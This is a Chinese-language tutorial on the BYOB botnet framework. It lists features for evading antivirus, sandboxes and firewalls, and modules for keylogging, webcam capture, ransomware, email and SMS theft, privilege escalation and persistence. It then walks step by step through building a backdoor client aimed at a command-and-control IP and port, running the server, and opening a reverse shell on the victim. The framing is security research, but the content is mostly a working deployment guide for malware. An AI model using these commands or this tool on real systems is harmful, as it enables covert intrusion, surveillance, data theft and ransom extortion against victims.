byob--建立自己的僵屍網路
BYOB是一個開源專案,為安全研究人員和開發人員提供構建和執行基本僵屍網路的框架,以加深他們對每年感染數百萬裝置併產生現代僵屍網路的複雜惡意軟體的理解,以提高他們的能力,制定應對這些威脅的對策。
它旨在允許開發人員輕鬆實現自己的程式碼並新增新功能,而無需從頭開始編寫RAT(遠端管理工具)或 C2(命令和控制伺服器)。
RAT的關鍵特性是任意程式碼/檔案可以從C2遠端載入到記憶體中並在目標機器上執行,而無需向磁碟寫入任何內容。
———————————————————————————————————————— github連結:https://github.com/malwaredllc/byob
————————————————————————————————————————
使用有效負載,遠端匯入生成完全不可檢測的客戶端
遠端匯入:從伺服器遠端匯入第三方軟體包,而無需將其寫入磁碟或下載/安裝它們 不寫入磁碟:客戶端從不向磁碟寫入任何內容 – 甚至不是臨時檔案(進行零IO系統呼叫),因為遠端匯入允許將任意程式碼動態載入到記憶體中並直接匯入到當前正在執行的程序中 零依賴(甚至不是Python本身):客戶端只執行python標準庫,從伺服器遠端匯入任何非標準軟體包/模組,並可以使用獨立的python直譯器編譯成為任何平臺/格式化的可移植二進位制可執行檔案體系結構,允許它在任何東西上執行,即使目標主機上缺少Python本身 只需單擊一下即可新增新功能:./byob/modules/當您的命令和控制伺服器執行時,您要複製到目錄的任何python指令碼,模組或程式包將自動變為可遠端匯入並可由每個客戶端直接使用 編寫自己的模組:./byob/modules/目錄中提供了一個基本模組模板,使您自己編寫模組成為一個簡單,無障礙的過程 在不增加檔案大小的情況下執行無限模組:使用遠端匯入新增無限功能,而無需向客戶端的檔案大小新增單個位元組 完全可更新:每個客戶端將定期檢查伺服器是否有可用於遠端匯入的新內容,並且如果新增/刪除了任何內容,將動態更新其記憶體資源 平臺無關:一切都是用Python(與平臺無關的語言)編寫的,生成的客戶端可以選擇編譯成可移植的可執行檔案(Windows)或捆綁到獨立的應用程式(macOS)中 繞過防火牆:客戶端通過反向TCP連線連線到命令和控制伺服器,這將繞過大多數防火牆,因為預設過濾器配置主要阻止傳入連線 針對防病毒的反措施:通過阻止來自產生已知防病毒產品名稱的程序來避免被防病毒軟體分析 加密有效負載以防止分析:主客戶端有效負載使用隨機256位金鑰加密,該金鑰僅存在於與其一起生成的有效負載stager中 防止逆向工程:預設情況下,如果檢測到虛擬機器或沙箱,客戶端將中止執行
模組
11個遠端匯入的開發後模組
Keylogger(byob.modules.keylogger):記錄使用者的擊鍵和輸入的視窗名稱 螢幕截圖(byob.modules.screenshot):擷取當前使用者桌面的截圖 網路攝像頭(byob.modules.webcam):檢視實時流或從網路攝像頭捕獲影象/視訊 Ransom(byob.modules.ransom):加密檔案並生成隨機BTC錢包以支付贖金 Outlook(byob.modules.outlook):從本地Outlook客戶端讀取/搜尋/上傳電子郵件 Packet Sniffer(byob.modules.packetsniffer):在主機網路上執行資料包嗅探器並上傳.pcap檔案 Persistence(byob.modules.persistence):使用5種不同的方法在主機上建立永續性 電話(byob.modules.phone):從客戶端智慧手機讀取/搜尋/上傳簡訊 Escalate Privileges(byob.modules.escalate):嘗試UAC繞過以獲得未經授權的管理員許可權 埠掃描程式(byob.modules.portscanner):掃描本地網路以查詢其他線上裝置和開啟埠 Process Control(byob.modules.process):list / search / kill / monitor當前正在主機上執行的程序
核心
生成器和伺服器使用的6個核心框架模組
Utilities(byob.core.util):許多模組使用的各種實用程式函式
Handlers(byob.core.handlers):請求處理程式以從客戶端接收已完成任務的結果
安全性(byob.core.security):Diffie-Hellman IKE和3種加密模式(AES-256-OCB,AES-256-CBC,XOR-128)
Loaders(byob.core.loaders):從伺服器遠端匯入任何包/模組/指令碼
Payloads(byob.core.payloads):反向TCP shell,旨在遠端匯入依賴項,包和模組
Stagers(byob.core.stagers):生成獨特的有效載荷分級器以防止分析和檢測
Generators(byob.core.generators):所有動態生成客戶端生成器程式碼的函式
Database(byob.core.database):處理命令和控制伺服器與SQLite資料庫之間的互動
————————————————————————————————————————
安裝:
git clone https://github.com/malwaredllc/byob
下載完後進入boby目錄裡面
pip install -r requirements.txt
現在已經就是安裝完了
client.py是生成客戶端,server.py為服務端
python client.py --help
|usage: client.py [-h] [--name NAME] [--icon ICON] [--pastebin API] [--encrypt]
[--compress] [--freeze] [-v] |
host port [module [module ...]] |
---|---|
Generator (Build Your Own Botnet) | |
positional arguments: | |
host 伺服器ip地址 | |
port 埠 | |
module 在執行時遠端匯入的模組 | |
optional arguments: | |
-h, --help 檢視幫助 | |
--name NAME 生成的檔名 | |
--icon ICON 圖示(指定檔案位置) | |
--pastebin API 上傳有效載荷到pastebin(不是在c2伺服器上託管) | |
--encrypt 用隨機128位金鑰加密有效載荷嵌入在有效載荷的階段 | |
--compress 壓縮生一個自解壓的python指令碼 | |
--freeze 將客戶端編譯為當前主機平臺的獨立可執行檔案 | |
-v, --version 檢視版本號 |
——————————————————————————————————————
(server.py的help就不解釋了)
我們先生成一個客戶端(本次試驗沒用模組)
python client.py --name test(取名為test) 192.168.1.110(伺服器IP地址) 4444(埠號)
現在我們就可以看到已經生成了python的後門程式,我們可以開啟看一下
現在我們新開啟一個終端
python server.py --host 192.168.1.110 --port 4444 (等待被控端執行***自動連結)
這時候我們在被控端執行生成的test.py
我們再回到伺服器端就可以了看到已經連結到了
然後我們輸入help檢視幫助資訊
[root @ /usr/src/byob/byob]>help
bg [id] 後臺會話(預設為當前會話)
broadcast <command> 將任務廣播到所有活動會話
clients 顯示所有已加入伺服器的客戶端
debug <code> 直接在伺服器上執行python程式碼(debug必須啟用除錯)
exit 退出
help 檢視幫助
kill <id> 結束會話
options 顯示當前配置
query <statement> 查詢 SQLite 資料庫
ransom [id] 為比特幣支付加密客戶端檔案和RANSOM加密金鑰
results [id] 為客戶端顯示所有已完成的結果 (預設所有客戶端)
sessions 顯示活動客戶端會話
set <setting> [option=value] 更改當前配置
shell <id> 反向tcp shell會話
tasks [id] 顯示客戶端所有未完成會話 (預設所有客戶端)
webcam <mode> 從客戶端的攝像頭捕獲影象或者視訊
————————————————————————————————————————
檢視到我的id是1,使用者名稱是root且是管理員
[root @ /usr/src/byob/byob]>shell 1
正常檢視ip地址
實驗成功
————————————————————————————————————————
此指令碼還在繼續新增新功能,坐等